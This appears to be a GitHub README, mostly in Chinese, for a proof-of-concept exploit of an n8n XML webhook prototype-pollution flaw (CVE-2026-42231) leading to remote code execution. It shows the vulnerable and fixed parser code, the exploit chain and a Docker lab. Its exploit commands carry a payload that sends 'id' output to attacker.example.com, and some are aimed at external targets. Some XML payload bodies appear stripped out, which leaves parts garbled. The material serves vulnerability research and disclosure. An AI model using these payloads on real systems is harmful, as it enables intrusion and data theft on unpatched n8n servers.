rudSarkar/CVE-2026-42231

GitHub: rudSarkar/CVE-2026-42231

针对 n8n XML Webhook 原型链污染漏洞(CVE-2026-42231)的全链利用 PoC,含 Docker 靶场和自动化利用脚本。

Stars: 0 | Forks: 1

# GHSA-q5f4-99jv-pgg5 — n8n XML Webhook 原型链污染 → RCE **CVE:** CVE-2026-42231 **严重性:** 严重 (CVSS 10.0) **受影响版本:** n8n < 1.123.32 / < 2.17.4 / < 2.18.1 **修复版本:** n8n 1.123.32 / 2.17.4 / 2.18.1 ## 漏洞概述 `packages/cli/src/middlewares/body-parser.ts` 创建了一个模块级别的单例 `xml2js` Parser,**没有**使用 `tagNameProcessors` 或 `attrNameProcessors`。这允许攻击者发送包含 `<__proto__>` 元素的 XML webhook 请求体。 `xml2js 0.6.2` 使用带有数据描述符的 `Object.defineProperty` 在解析后的对象上设置元素键。因为 `'__proto__' in obj` 始终为 `true`,`assignOrPush()` 会将值包装在数组中,并将其存储为**自身的可枚举数据属性**——从而绕过了通常会安全更新原型链的 `[[Set]]` 访问器。 自身的 `__proto__` 属性在 `JSON.stringify`(在 n8n 将执行数据持久化到 SQLite/PostgreSQL 时执行)后依然存在,并且在重新加载时经过 `JSON.parse` 后,随后的 `Object.assign(target, reloadedBody)` 会将 `target` 的原型重新路由到攻击者控制的对象。 在还包含执行 SSH 操作的 **Git 节点** 的工作流中,被污染的原型会将 `spawnOptions` / `GIT_SSH_COMMAND` 值暴露给 `simple-git` 的 `createInstanceConfig`,从而实现操作系统级别的命令执行。 ## 根本原因 ``` // packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32) const xmlParser = new XmlParser({ async: true, normalize: true, normalizeTags: true, // lowercases tags — but does NOT block __proto__ explicitArray: false, // ← NO tagNameProcessors // ← NO attrNameProcessors }); ``` **修复 (>= 1.123.32):** ``` function sanitizeXmlName(name: string): string { const unsafe = new Set(['__proto__', 'constructor', 'prototype']); return unsafe.has(name) ? `sanitized_${name}` : name; } const xmlParser = new XmlParser({ async: true, normalize: true, normalizeTags: true, explicitArray: false, tagNameProcessors: [sanitizeXmlName], attrNameProcessors: [sanitizeXmlName], }); ``` ## 漏洞利用链 ``` 1. Attacker sends XML POST to a public Webhook trigger: POST /webhook/ Content-Type: application/xml <__proto__> true 2. xml2js body parser creates req.body.root where '__proto__' is an OWN ENUMERABLE DATA PROPERTY: Object.getOwnPropertyDescriptor(req.body.root, '__proto__') → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}], enumerable: true, writable: true, configurable: true } 3. n8n's deepCopy() iterates own keys via for...in + hasOwnProp. The assignment clone['__proto__'] = deepCopy(attackerArray) silently replaces clone's prototype via the [[Set]] accessor. 4. n8n serialises execution data to DB: JSON.stringify(body.root) → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}' The __proto__ key is included because it is own and enumerable. Confirmed in the execution_data table in SQLite. 5. On reload, JSON.parse recreates '__proto__' as an own data property (plain object, no array wrapping). Object.assign(gitOptions, reloadedBody) reroutes gitOptions's prototype to the attacker-controlled object. 6. When the Git node calls simpleGit(gitOptions): createInstanceConfig(gitOptions) reads config.spawnOptions via the prototype chain → truthy → spawnOptionsPlugin is registered. With GIT_SSH_COMMAND in the env object, git executes the attacker's command on the next SSH operation. ``` ### 关于 `normalizeTags` 的说明 `normalizeTags: true` 会将**所有** XML 标签名转换为小写,因此像 `` 这样的子元素在解析后的对象中会变成 `git_ssh_command`。为了保持环境变量名称的大小写,请使用 XML **属性**(属性名**不会**被 `normalizeTags` 转换): ``` ``` ## 前置条件 1. 活动的工作流中必须存在一个**公共 Webhook 触发器**(Authentication = None,Content-Type = XML)。 2. 对于完整的 RCE 攻击路径,该工作流还必须包含一个执行 SSH 认证操作(通过 SSH URL 进行 clone / push)的 **Git 节点**。 3. n8n 版本 **< 1.123.32**。 ## 实验环境设置 ### 要求 - Docker ≥ 24 及 Compose v2 - Python 3.9+(用于在不使用 Docker 的情况下独立运行 PoC) - 本地主机的 **5678** 端口空闲 ### 一键设置 ``` chmod +x exploit.sh ./exploit.sh setup ``` 此命令将拉取 `n8nio/n8n:1.123.22`(最后受影响的版本),构建攻击者镜像,在 `http://localhost:5678` 启动易受攻击的目标,自动创建并激活 webhook 工作流,并将 webhook URL 保存到 `.webhook_state`。 ## 端到端漏洞利用演示 ### 1. 设置 ``` ./exploit.sh setup ``` 预期输出(已截断): ``` [*] Pulling vulnerable n8n image (1.123.22) ... [*] Building attacker image ... [*] Starting vulnerable n8n target ... [*] Waiting for n8n to become healthy ... [*] Creating webhook workflow (Webhook → Code node) ... [+] Lab is ready. Run: ./exploit.sh demo # verify the pollution primitive ./exploit.sh exploit # deliver all three RCE payloads ``` ### 2. 验证污染原语(演示模式) ``` ./exploit.sh demo ``` PoC 会发送一个验证 payload,并显示从 n8n 工作流返回的解析主体。**易受攻击的实例**将返回: ``` [+] HTTP 200 Response: {"step1_ownEnumerableProto":true, "step1_descriptor":{"enumerable":true, "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"}, "step2_deepCopySimulated":true, "step3_jsonRoundTripOwn":true, "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}", "step4_objectAssignPolluted":true, ...} ``` ### 3. 交付 RCE 意图的 payload ``` ./exploit.sh exploit # 或使用自定义命令: ./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)" ``` 会交付三个互补的 payload: | Payload | 技术 | |---------|-----------| | A | `<__proto__>` 标签 — `GIT_SSH_COMMAND` 作为 XML 属性 | | B | `` 链 | | C | 带有 `env` 属性的嵌套 `<__proto__>` | ### 4. 观察结果(工作流中包含 Git 节点) - 在 n8n 执行日志中,查找 git 命令错误——如果 RCE 触发,它将包含您注入的 `GIT_SSH_COMMAND` 的输出。 - 在带有 Code 节点的演示模式中,工作流的响应主体将包含 `"step4_objectAssignPolluted": true`,以此确认攻击链有效。 ## 独立使用(不使用 Docker) ``` pip install -r requirements.txt # 仅验证 — 无需 Git node: python3 poc_GHSA-q5f4-99jv-pgg5.py \ --target http://n8n.target.com \ --webhook-id \ --demo # 完整 exploit — 需要 Webhook + Git/SSH node 工作流: python3 poc_GHSA-q5f4-99jv-pgg5.py \ --target http://n8n.target.com \ --webhook-id \ --cmd 'curl http://attacker.example.com/$(id|base64)' ``` ### Webhook URL 格式 (n8n v1.123.x) 在某些部署中,n8n 将 webhook 注册为 `/webhook//webhook/`。如果短格式 `/webhook/` 返回 404,请将带有工作流 ID 前缀的路径作为 `--target` 传入: ``` python3 poc_GHSA-q5f4-99jv-pgg5.py \ --target "http://n8n.target.com/webhook/" \ --webhook-id \ --demo ``` ## 本地验证(Node.js,无需实时实例) 复现 n8n 使用的确切 xml2js 解析器配置,并逐步执行所有四个链阶段: ``` cd /tmp/xml2js-test && npm install xml2js@0.6.2 node /path/to/verify_GHSA-q5f4-99jv-pgg5.js ``` **易受攻击**配置的预期输出: ``` [STEP 1] VULNERABLE — '__proto__' is own enumerable data property descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]', enumerable: true, writable: true, configurable: true } [STEP 1] Fixed parser renamed __proto__ to sanitized___proto__ [STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED" [STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined" [ RCE ] If target is used as simpleGit config AND the prototype exposes e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell [STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain) [ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions) ══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══ ``` ## 手动 Docker 命令 ``` # 构建 attacker image docker build -t n8n-proto-pollution-poc . # Demo 模式(连接到共享 lab network) docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \ n8n-proto-pollution-poc \ --target http://n8n-vuln:5678/webhook/ \ --webhook-id cve-2026-42231-poc \ --demo # 完整 exploit docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \ n8n-proto-pollution-poc \ --target http://n8n-vuln:5678/webhook/ \ --webhook-id cve-2026-42231-poc \ --cmd 'curl http://attacker.example.com/$(id|base64)' # 针对外部 target(无需 network 标志) docker run --rm n8n-proto-pollution-poc \ --target https://n8n.example.com \ --webhook-id \ --demo ``` ## 清理 ``` ./exploit.sh clean ``` 停止容器并移除卷(包括 SQLite 数据库)。 ## 文件 | 文件 | 描述 | |------|-------------| | `poc_GHSA-q5f4-99jv-pgg5.py` | 独立的 Python HTTP PoC — 三种 XML payload 变体,`--demo` 和 `--cmd` 模式 | | `verify_GHSA-q5f4-99jv-pgg5.js` | Node.js 本地链验证器 — 无需实时实例即可逐步执行全部 4 个漏洞利用阶段 | | `Dockerfile` | 攻击者容器镜像 | | `docker-compose.yml` | 完整实验室:易受攻击的 n8n + 攻击者容器 | | `exploit.sh` | 用于设置、演示、漏洞利用和清理的辅助脚本 | | `requirements.txt` | Python 依赖项 | ## 参考文献 - [GHSA-q5f4-99jv-pgg5](https://github.com/advisories/GHSA-q5f4-99jv-pgg5) - [n8n release 1.123.32 changelog](https://github.com/n8n-io/n8n/releases/tag/n8n%401.123.32) - [xml2js assignOrPush — `Object.defineProperty` 数据描述符](https://github.com/Leonidas-from-XIV/node-xml2js/blob/master/lib/parser.js) - [通过 `Object.defineProperty` 进行原型链污染](https://portswigger.net/web-security/prototype-pollution)
标签:Apache-2.0, body-parser, CISA项目, CVE-2026-42231, CVSS 10.0, GIT_SSH_COMMAND, GNU通用公共许可证, MITM代理, n8n, Node.js, PostgreSQL, RCE, SQLite, TypeScript, Webhook, Web报告查看器, xml2js, XML注入, 中间件安全, 力导向图, 原型污染, 原型链污染, 安全插件, 正文解析, 漏洞分析, 编程工具, 网络安全, 请求拦截, 路径探测, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞